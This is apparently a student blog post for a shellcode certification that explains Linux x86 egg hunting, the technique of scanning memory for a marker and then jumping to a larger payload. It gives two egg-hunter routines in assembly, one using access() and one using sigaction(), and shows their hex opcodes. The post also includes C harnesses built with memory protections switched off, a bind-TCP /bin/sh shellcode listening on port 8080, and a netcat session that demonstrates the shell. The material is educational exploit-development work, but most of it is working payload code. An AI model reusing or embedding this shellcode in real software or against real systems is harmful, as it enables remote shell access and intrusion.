This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1202
Hi! Today I suggest you to look at my favorite exploiting technique named egg hunting.
Egg hunting is a basic method to build staged shellcodes. In two words, this is a shellcode that iterates through memory, looks for specially crafted signature and executes your main shellcode that usually is placed after this signature.
In this case, the ‘egg’ is that signature. I think this makes name of this technique clear :)
Sounds crazy, but egg hunting is really useful when you try to exploit some application where is not enough space to load full-featured shellcode like reverse_tcp and others. You can load your main shellcode to another place first (heap, for example), and then run your exploit with egg hunter shellcode.
Previously I had to work with egg hunter shellcodes under Windows, so, this article describes my first experience of egg hunting under Linux systems.
If you want to read more about egg hunting, I recommend you to read this whitepaper - and I am sure, you will call it the Bible of Egg Hunting.
Well, iterating memory is not so hard task. You just load some start point address into your registers, align it with your memory page size and start looking for some signature.
But here is a small problem - when you try to read unallocated memory, you will get SIGSEGV that usually crashes your program.
Of course, this doesn’t work when you write your own handler for such situations. If so, you don’t need to use different hacks I will describe in this article :D
For Linux, there are two possible ways to solve this problem. Bot of them uses syscalls, and both of them allow you to check memory before reading. Let’s look at them one by one.
Here is a small quote from access man page:
NAME
access - check real user's permissions for a file
SYNOPSIS
#include <unistd.h> int access(const char *pathname, int mode);
DESCRIPTION
access() checks whether the calling process can access the file path‐ name. If pathname is a symbolic link, it is dereferenced.
If you check SYS_ACCESS (EAX = 0x21) reference, you will see that this accepts some ‘filename’ (in EBX) and checks access to this file from current process. The hack is that access() accepts not only file path-names, but memory addressess too!
Here is my code implementing access() egghunting technique:
; access_egghunter.asm
; Author: German Namestnikov
global _start
section .text
_start:
xor edx, edx
page_alignment:
or dx, 0xfff
egg_hunting:
inc edx
lea ebx, [edx + 0x04]
push dword 0x21
pop eax
int 0x80
cmp al, 0xf2
jz page_alignment
mov eax, 0x41414141
mov edi, edx
scasd
jnz egg_hunting
scasd
jnz egg_hunting
jmp edi
It iterates through the memory, checks the memory location with SYS_ACCESS, read it and compares this with some string like ‘AAAA’ or 0x41414141.
SYS_ACCESS returns negative decimal if something gone wrong. We are interested in EFAULT that has code 14, or 0xf2 in negative form.
So, if memory with some address is not readable, it just increments address and tries again. The ‘scasd’ instructions (you should be familiar with it from the SLAE course material) allows you to compare some memory value with the ‘egg’ stored in EAX. If egg hunter code found the ‘egg’, it executes code that is placed right after it.
There are two comparsions via ‘scasd’ and this allows us to reduce false-positives. But you still have to choose unique values for your ‘eggs’ - don’t use ‘AAAA’ or something like that.
I have written a small demo for this technique. I compiled egg hunter and pasted into executor c-program. Here is the source:
#include<stdio.h>
#include<string.h>
/*
1. Make egghunter code with 'objdump':
german@slae-lab:~/slae-shellcoding$ objdump -d ./access_egghunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x41\x41\x41\x41\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
2. Compile with 'gcc -fno-stack-protector -z execstack executor.c -o executor'
*/
unsigned char egghunter[] =
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8"
"W00T"
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
unsigned char shellcode[] =
"W00TW00T"
"\x31\xc0\x31\xdb\x31\xf6\xb0\x66\x43\x56\x6a\x01\x6a"
"\x02\x89\xe1\xcd\x80\x31\xd2\x92\xb0\x66\x43\x56\x66\x68"
"\x1f\x90"
"\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0"
"\xb0\x66\xb3\x04\x56\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x66"
"\x43\x56\x56\x52\xcd\x80\x93\x31\xc0\x31\xc9\xb1\x02\xb0"
"\x3f\xcd\x80\x49\x79\xf9\x56\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
}
I used my own bind TCP shellcode. Compile it with gcc -fno-stack-protector -z execstack access_executor.c
and run.
It works and have only 35 bytes in length!
german@slae-lab:~/slae-shellcoding/assignment_3$ nc 127.0.0.1 8080
id
uid=1000(german) gid=1000(german) groups=1000(german),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
whoami
german
hostname
slae-lab
Having only one method for safe memory iteration is a bad idea. Something may change in the Linux kernel and your egg hunter won’t work.
That is why you should check another method - sigaction().
Investigate man page again:
NAME
sigaction - examine and change a signal action
SYNOPSIS
#include <signal.h> int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact); Feature Test Macro Requirements for glibc (see feature_test_macros(7)): sigaction(): _POSIX_C_SOURCE >= 1 || _XOPEN_SOURCE || _POSIX_SOURCE
DESCRIPTION
The sigaction() system call is used to change the action taken by a process on receipt of a specific signal. (See signal(7) for an over‐ view of signals.
SYS_SIGACTION has 0x43 code and returns the same value as SYS_ACCESS.
Here is the code:
; sigaction_egghunter.asm
; Author: German Namestnikov
global _start
section .text
_start:
page_alignment:
or cx,0xfff
egg_hunting:
inc ecx
push byte 0x43
pop eax
int 0x80
cmp al, 0xf2
jz page_alignment
mov eax, 0x41414141
mov edi, ecx
scasd
jnz egg_hunting
scasd
jnz egg_hunting
jmp edi
Well. I would decide that I saw this code in previous part, but the code (0x43), and some details are different.
Here is a C code:
#include<stdio.h>
#include<string.h>
/*
1. Make egghunter code with 'objdump':
german@slae-lab:~/slae-shellcoding$ objdump -d ./sigaction_egghunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x41\x41\x41\x41\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
2. Compile with 'gcc -fno-stack-protector -z execstack executor.c -o executor'
*/
unsigned char egghunter[] =
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8"
"W00T"
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
unsigned char shellcode[] =
"W00TW00T"
"\x31\xc0\x31\xdb\x31\xf6\xb0\x66\x43\x56\x6a\x01\x6a"
"\x02\x89\xe1\xcd\x80\x31\xd2\x92\xb0\x66\x43\x56\x66\x68"
"\x1f\x90"
"\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0"
"\xb0\x66\xb3\x04\x56\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x66"
"\x43\x56\x56\x52\xcd\x80\x93\x31\xc0\x31\xc9\xb1\x02\xb0"
"\x3f\xcd\x80\x49\x79\xf9\x56\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
}
If you are to lazy to check it by yourself, I can assure you that it works fine too and takes only 30 bytes!
The both of described techniques are applicable in nowadays. Egg Hunting allows you to execute any loaded in memory shellcodes and build complex staged payloads.
I think that some security measures like DEP makes this relevant again, because you just need to build a small ROP-chain to run your Egg Hunter to launch a huge payload like meterpreter reverse_https.
Anyway, I hope that this technique will live forever :D
By the way, you can see all my SLAE Assignments in my repo. Enjoy!
The end